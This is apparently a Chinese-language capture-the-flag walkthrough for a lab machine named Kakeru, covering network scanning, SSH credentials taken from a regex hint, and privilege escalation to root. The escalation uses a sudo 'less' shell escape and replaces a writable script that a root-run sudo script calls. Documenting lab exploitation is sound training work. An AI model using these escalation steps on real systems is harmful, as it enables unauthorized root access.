arp-scan -l

```
Interface: eth0, type: EN10MB, MAC: 08:00:27:82:4b:5b, IPv4: 192.168.43.160
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.43.1    12:dd:b5:07:19:10   (Unknown: locally administered)
192.168.43.22   08:00:27:fa:74:72   PCS Systemtechnik GmbH
192.168.43.73   2c:9c:58:8e:96:a5   (Unknown)
192.168.43.74   08:00:27:cf:d8:16   PCS Systemtechnik GmbH
192.168.43.80   08:00:27:3e:86:10   PCS Systemtechnik GmbH

8 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.990 seconds (128.64 hosts/sec). 5
responded
```

nmap -p- -A -T5 192.168.43.22

```
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: User welcome's password is here.
|_http-server-header: Apache/2.4.62 (Debian)
```

访问 web 页面

Login Request Example

```
POST /login HTTP/1.1
Host: 192.168.3.132
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:137.0) Gecko/20100101 Firefox/137.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Origin: http://192.168.3.132
Connection: keep-alive
Referer: http://192.168.3.132/
Cookie: PHPSESSID=eiag23f4enj5tfcpl7t1qhhk2t
Upgrade-Insecure-Requests: 1
Priority: u=0, i

username=admin&password=admin
```

鈿

Regular Expression Hint

Matching pattern:
(?<=x-).+(?=en)

curl 192.168.43.22 以及观察 nmap 的扫描结果 ==》 User welcome's password is here.

用户 welcome，密码在页面内

观察这个页面，给了一个正则的提示

利用这个 pattern 去匹配这个 Login Request Example 中的内容 （有点脑洞）

```python
import re
import requests

pattern = r'(?<=x-).+(?=en)'
```

```
pattern = re.compile(pattern)
url = "http://192.168.43.22"
# response = requests.get(url).content.decode()
text = '''
POST /login HTTP/1.1
Host: 192.168.3.132
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:137.0)
Gecko/20100101 Firefox/137.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Origin: http://192.168.3.132
Connection: keep-alive
Referer: http://192.168.3.132/
Cookie: PHPSESSID=eiag23f4enj5tfcpl7t1qhhk2t
Upgrade-Insecure-Requests: 1
Priority: u=0, i

username=admin&amp;password=admin</pre
'''
data = pattern.findall(text)
print(data)
print(''.join(data))
```

==》 www-form-url

==》 welcome:www-form-url

ssh welcome@192.168.43.22

```
welcome@Kakeru:~$ id
uid=1000(welcome) gid=1000(welcome) groups=1000(welcome)
welcome@Kakeru:~$ ls
sudoers.bak  user.txt
welcome@Kakeru:~$ cat user.txt
flag{user-2ebe1bf6643061dcdc573ca0db06a1a6}
welcome@Kakeru:~$ cat sudoers.bak
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults    env_reset
Defaults    mail_badpass
Defaults
secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

# Host alias specification

# User alias specification
```

```
# Cmnd alias specification

# User privilege specification
root    ALL=(ALL:ALL) ALL

# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL
welcome Dashazi=(kakeru) NOPASSWD: /usr/bin/less
kakeru ALL=(ALL:ALL) NOPASSWD: /opt/test.sh
# See sudoers(5) for more information on "@include" directives:

@includedir /etc/sudoers.d
```

有两个自定义用户 kakeru welcome，分别具有不同的权限

welcome Dashazi=(kakeru) NOPASSWD: /usr/bin/less

kakeru ALL=(ALL:ALL) NOPASSWD: /opt/test.sh

这里就是需要我们从 welcome 切到 kakeru，进而进行提权

soduers 文件格式

user host run_as command

用户 主机 运行身份 运行命令

welcome 可在 Dashazi 主机上以 kakeru 用户身份无密码运行 /usr/bin/less

```
sudo -u kakeru -h Dashazi /usr/bin/less
!/bin/bash
```

切换到了 kakeru 用户

ls -la

sudo -l

```
-rwx------ 1 root root 80 Apr 27 08:42 /opt/test.sh
```

```
kakeru@Kakeru:~$ ls -la
total 24
drwx------ 2 kakeru kakeru 4096 Apr 27 08:41 .
drwxr-xr-x 4 root   root   4096 Apr 27 08:34 ..
-rw-r--r-- 1 kakeru kakeru  220 Apr 27 08:34 .bash_logout
-rw-r--r-- 1 kakeru kakeru 3526 Apr 27 08:34 .bashrc
-rw-r--r-- 1 kakeru kakeru  807 Apr 27 08:34 .profile
-rw-r--r-- 1 root   root     10 Apr 27 08:41 test.sh
```

sudo -u root /opt/test.sh 试试

```
kakeru@Kakeru:~$ chmod +x test.sh
chmod: changing permissions of 'test.sh': Operation not permitted
kakeru@Kakeru:~$ sudo /opt/test.sh
Please Input:
/opt/test.sh: line 5: /home/kakeru/test.sh: Permission denied
kakeru@Kakeru:~$ sudo -u root /opt/test.sh
Please Input:
/opt/test.sh: line 5: /home/kakeru/test.sh: Permission denied
kakeru@Kakeru:~$ sudo -u root /opt/test.sh
Please Input: c
/opt/test.sh: line 5: c: command not found
```

这里可以看到 /opt/test.sh 最后运行了 /home/kakeru/test.sh，那么尝试修改 /home/kakeru/test.sh 进行提权

看到 /home/kakeru 文件夹是有写权限的，那么就想可以直接干掉不可写的 test.sh

法1：

rm -rf ./test.sh

echo "/bin/bash" > test.sh

sudo -u root /opt/test.sh

法2：

mv test.sh fuck

echo "/bin/bash" > test.sh

sudo -u root /opt/test.sh

最后提权成功

```
kakeru@Kakeru:~$ sudo -u root /opt/test.sh
Please Input:
root@Kakeru:/home/kakeru# id
uid=0(root) gid=0(root) groups=0(root)
root@Kakeru:/home/kakeru# ls
test.sh
root@Kakeru:/home/kakeru# cd /root
root@Kakeru:~# cat root.txt
flag{root-e93a188c288106b24060679d47cc630f}
root@Kakeru:~# cat /home/welcome/user.txt
flag{user-2ebe1bf6643061dcdc573ca0db06a1a6}
```